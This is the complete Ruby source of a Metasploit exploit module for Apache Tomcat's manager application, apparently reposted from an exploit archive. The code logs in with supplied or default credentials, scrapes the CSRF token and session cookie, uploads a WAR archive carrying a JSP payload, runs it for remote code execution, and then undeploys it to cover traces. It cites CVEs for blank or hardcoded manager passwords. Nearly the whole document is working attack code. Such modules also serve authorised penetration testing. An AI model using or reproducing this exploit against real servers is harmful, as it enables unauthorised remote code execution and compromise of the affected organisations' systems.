Apache Tomcat Manager Code Execution

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }  
  
CSRF_VAR = 'CSRF_NONCE='  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Tomcat Manager Application Upload Authenticated Code Execution',  
'Description' => %q{  
This module can be used to execute a payload on Apache Tomcat servers that  
have an exposed "manager" application. The payload is uploaded as a WAR archive  
containing a jsp application using a POST request against the /manager/html/upload  
component.  
  
NOTE: The compatible payload sets vary based on the selected target. For  
example, you must select the Windows target to use native Windows payloads.  
},  
'Author' => 'rangercha',  
'License' => MSF_LICENSE,  
'References' =>  
[  
# This is based on jduck's tomcat_mgr_deploy.  
# the tomcat_mgr_deploy o longer works for current versions of tomcat due to  
# CSRF protection tokens. Also PUT requests against the /manager/html/deploy  
# aren't allowed anymore.  
  
# There is no single vulnerability associated with deployment functionality.  
# Instead, the focus has been on insecure/blank/hardcoded default passwords.  
  
# The following references refer to HP Operations Manager  
['CVE', '2009-3843'],  
['OSVDB', '60317'],  
['CVE', '2009-4189'],  
['OSVDB', '60670'],  
  
# HP Operations Dashboard  
['CVE', '2009-4188'],  
  
# IBM Cognos Express Default user/pass  
['BID', '38084'],  
['CVE', '2010-0557'],  
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179'],  
  
# IBM Rational Quality Manager and Test Lab Manager  
['CVE', '2010-4094'],  
['ZDI', '10-214'],  
  
# 'admin' password is blank in default Windows installer  
['CVE', '2009-3548'],  
['OSVDB', '60176'],  
['BID', '36954'],  
  
# tomcat docs  
['URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html']  
],  
'Platform' => %w{ java linux win }, # others?  
'Targets' =>  
[  
[ 'Java Universal',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'java'  
}  
],  
#  
# Platform specific targets only  
#  
[ 'Windows Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win'  
}  
],  
[ 'Linux x86',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 09 2009'))  
  
register_options(  
[  
OptString.new('USERNAME', [false, 'The username to authenticate as']),  
OptString.new('PASSWORD', [false, 'The password for the specified username']),  
# /cognos_express/manager/ for Cognos Express (19300)  
OptString.new('TARGETURI', [true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager'])  
], self.class)  
end  
  
def check  
res = query_manager  
disconnect  
  
return CheckCode::Unknown if res.nil?  
  
if res.code.between?(400, 499)  
vprint_error("#{peer} - Server rejected the credentials")  
return CheckCode::Unknown  
end  
  
return CheckCode::Safe unless res.code == 200  
  
# if res.code == 200  
# there should be access to the Tomcat Manager and to the status page  
res = query_status  
return CheckCode::Unknown unless res  
  
plat = detect_platform(res.body)  
arch = detect_arch(res.body)  
return CheckCode::Unknown unless plat and arch  
  
vprint_status("#{peer} - Tomcat Manager found running on #{plat} platform and #{arch} architecture")  
  
report_auth_info(  
:host => rhost,  
:port => rport,  
:sname => (ssl ? "https" : "http"),  
:user => datastore['USERNAME'],  
:pass => datastore['PASSWORD'],  
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",  
:active => true  
)  
  
return CheckCode::Appears  
end  
  
def exploit  
@app_base = rand_text_alphanumeric(4 + rand(32 - 4))  
@jsp_name = rand_text_alphanumeric(4 + rand(32 - 4))  
  
#  
# Find the session ID and the CSRF token  
#  
print_status("#{peer} - Retrieving session ID and CSRF token...")  
unless access_manager?  
fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")  
end  
  
#  
# Upload Payload  
#  
print_status("#{peer} - Uploading and deploying #{@app_base}...")  
if upload_payload  
report_auth_info(  
:host => rhost,  
:port => rport,  
:sname => (ssl ? "https" : "http"),  
:user => datastore['USERNAME'],  
:pass => datastore['PASSWORD'],  
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",  
:active => true  
)  
else  
fail_with(Failure::Unknown, "Upload failed")  
end  
  
#  
# Execute Payload  
#  
print_status("#{peer} - Executing #{@app_base}...")  
unless execute_payload  
fail_with(Failure::Unknown, "Failed to execute the payload")  
end  
  
#  
# Get the new CSRF token & session id  
#  
unless access_manager?  
fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")  
end  
  
#  
# Delete the deployed payload  
#  
print_status("#{peer} - Undeploying #{@app_base} ...")  
unless undeploy_app  
print_warning("#{peer} - Failed to undeploy #{@app_base}...")  
end  
end  
  
def query_status  
path = normalize_uri(target_uri.path.to_s, 'status')  
res = send_request_raw('uri' => path)  
  
unless res and res.code == 200  
vprint_error("Failed: Error requesting #{path}")  
return nil  
end  
  
return res  
end  
  
def query_manager  
path = normalize_uri(target_uri.path.to_s, '/html')  
res = send_request_raw('uri' => path)  
  
return res  
end  
  
def vars_get  
vars = {}  
unless @csrf_token.nil?  
vars = {  
"path" => @app_base,  
"org.apache.catalina.filters.CSRF_NONCE" => @csrf_token  
}  
end  
  
return vars  
end  
  
def detect_platform(body)  
return nil if body.blank?  
  
i=0  
  
body.each_line do |ln|  
ln.chomp!  
  
i = 1 if ln =~ /OS Name/  
  
if i == 9 or i == 11  
if ln.include? "Windows"  
return 'win'  
elsif ln.include? "Linux"  
return 'linux'  
elsif i==11  
return 'unknown'  
end  
end  
  
i = i+1 if i > 0  
end  
end  
  
def detect_arch(body)  
return nil if body.blank?  
  
i=0  
body.each_line do |ln|  
ln.chomp!  
  
i = 1 if ln =~ /OS Architecture/  
  
if i==9 or i==11  
if ln.include? 'x86'  
return ARCH_X86  
elsif ln.include? 'i386'  
return ARCH_X86  
elsif ln.include? 'i686'  
return ARCH_X86  
elsif ln.include? 'x86_64'  
return ARCH_X86  
elsif ln.include? 'amd64'  
return ARCH_X86  
elsif i==11  
return 'unknown'  
end  
end  
  
i = i + 1 if i > 0  
end  
end  
  
def find_csrf(res = nil)  
return "" if res.blank?  
  
vprint_status("#{peer} - Finding CSRF token...")  
  
body = res.body  
  
body.each_line do |ln|  
ln.chomp!  
csrf_nonce = ln.index(CSRF_VAR)  
next if csrf_nonce.nil?  
token = ln[csrf_nonce + CSRF_VAR.length, 32]  
return token  
end  
  
return ""  
end  
  
def generate_multipart_msg(boundary, data)  
# Rex::MIME::Message is breaking the binary upload when trying to  
# enforce CRLF for SMTP compatibility  
war_multipart = "-----------------------------"  
war_multipart << boundary  
war_multipart << "\r\nContent-Disposition: form-data; name=\"deployWar\"; filename=\""  
war_multipart << @app_base  
war_multipart << ".war\"\r\nContent-Type: application/octet-stream\r\n\r\n"  
war_multipart << data  
war_multipart << "\r\n-----------------------------"  
war_multipart << boundary  
war_multipart << "--\r\n"  
end  
  
def war_payload  
payload.encoded_war({  
:app_name => @app_base,  
:jsp_name => @jsp_name,  
:arch => target.arch,  
:platform => target.platform  
}).to_s  
end  
  
def send_war_payload(url, war)  
boundary_identifier = rand_text_numeric(28)  
  
res = send_request_cgi({  
'uri' => url,  
'method' => 'POST',  
'ctype' => 'multipart/form-data; boundary=---------------------------' + boundary_identifier,  
'user' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'cookie' => @session_id,  
'vars_get' => vars_get,  
'data' => generate_multipart_msg(boundary_identifier, war),  
})  
  
return res  
end  
  
def send_request_undeploy(url)  
res = send_request_cgi({  
'uri' => url,  
'vars_get' => vars_get,  
'method' => 'POST',  
'user' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'cookie' => @session_id  
})  
  
return res  
end  
  
def access_manager?  
res = query_manager  
return false unless res and res.code == 200  
@session_id = res.get_cookies  
@csrf_token = find_csrf(res)  
return true  
end  
  
def upload_payload  
war = war_payload  
upload_path = normalize_uri(target_uri.path.to_s, "html", "upload")  
vprint_status("#{peer} - Uploading #{war.length} bytes as #{@app_base}.war ...")  
res = send_war_payload(upload_path, war)  
return parse_upload_response(res)  
end  
  
def parse_upload_response(res)  
unless res  
vprint_error("#{peer} - Upload failed on #{upload_path} [No Response]")  
return false  
end  
  
if res.code < 200 or res.code >= 300  
vprint_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401  
vprint_error("Upload failed on #{upload_path} [#{res.code} #{res.message}]")  
return false  
end  
  
return true  
end  
  
def execute_payload  
jsp_path = normalize_uri(@app_base, "#{@jsp_name}.jsp")  
  
vprint_status("#{peer} - Executing #{jsp_path}...")  
  
res = send_request_cgi({  
'uri' => jsp_path,  
'method' => 'GET'  
})  
  
return parse_execute_response(res)  
end  
  
def parse_execute_response(res)  
unless res  
vprint_error("#{peer} - Execution failed on #{@app_base} [No Response]")  
return false  
end  
  
if res and (res.code < 200 or res.code >= 300)  
vprint_error("#{peer} - Execution failed on #{@app_base} [#{res.code} #{res.message}]")  
return false  
end  
  
return true  
end  
  
def undeploy_app  
undeploy_url = normalize_uri(target_uri.path.to_s, "html", "undeploy")  
res = send_request_undeploy(undeploy_url)  
  
unless res  
vprint_warning("#{peer} - WARNING: Undeployment failed on #{undeploy_url} [No Response]")  
return false  
end  
  
if res and (res.code < 200 or res.code >= 300)  
vprint_warning("#{peer} - Deletion failed on #{undeploy_url} [#{res.code} #{res.message}]")  
return false  
end  
  
return true  
end  
  
end`